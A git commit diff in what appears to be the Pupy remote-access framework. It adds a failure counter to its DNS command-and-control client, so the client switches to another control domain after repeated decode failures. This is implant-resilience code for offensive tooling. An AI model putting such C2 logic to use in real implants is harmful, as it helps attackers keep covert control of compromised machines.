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Ensure we will not stuck on DNS with DNSCNC and no our keys

This commit is contained in:
Oleksii Shevchuk 2017-03-16 22:45:15 +02:00
parent 4cd1825690
commit 104ef7bd50
1 changed files with 20 additions and 2 deletions
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22
pupy/network/lib/picocmd/client.py
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@ -107,12 +107,14 @@ class DnsCommandsClient(Thread):
self.nonce = random.randrange(0, 1<<32-1) self.nonce = random.randrange(0, 1<<32-1)
self.poll = 60 self.poll = 60
self.active = True self.active = True
self.failed = 0
Thread.__init__(self) Thread.__init__(self)
def next(self): def next(self):
self.domain_id = ( self.domain_id + 1 ) % len(self.domains) self.domain_id = ( self.domain_id + 1 ) % len(self.domains)
self.domain = self.domains[self.domain_id] self.domain = self.domains[self.domain_id]
self.failed = 0
def _a_page_decoder(self, addresses, nonce, symmetric=None): def _a_page_decoder(self, addresses, nonce, symmetric=None):
if symmetric is None: if symmetric is None:
@ -181,6 +183,8 @@ class DnsCommandsClient(Thread):
response = Parcel.unpack( response = Parcel.unpack(
self._a_page_decoder(addresses, nonce) self._a_page_decoder(addresses, nonce)
) )
self.failed = 0
except ParcelInvalidCrc: except ParcelInvalidCrc:
logging.error('CRC FAILED / Fallback to Public-key decoding') logging.error('CRC FAILED / Fallback to Public-key decoding')
@ -193,11 +197,25 @@ class DnsCommandsClient(Thread):
self.encoder.kex_reset() self.encoder.kex_reset()
except ParcelInvalidCrc: except ParcelInvalidCrc:
logging.error('CRC FAILED / Fallback failed also / CRC') logging.error(
'CRC FAILED / Fallback failed also / CRC / {}/{}'.format(
self.failed, 5
)
)
self.failed += 1
if self.failed > 5:
self.next()
return [] return []
except ParcelInvalidPayload: except ParcelInvalidPayload:
logging.error('CRC FAILED / Fallback failed also / Invalid payload') logging.error(
'CRC FAILED / Fallback failed also / Invalid payload / {}/{}'.format(
self.failed, 5
)
)
self.failed += 1
if self.failed > 5:
self.next()
return [] return []
return response.commands return response.commands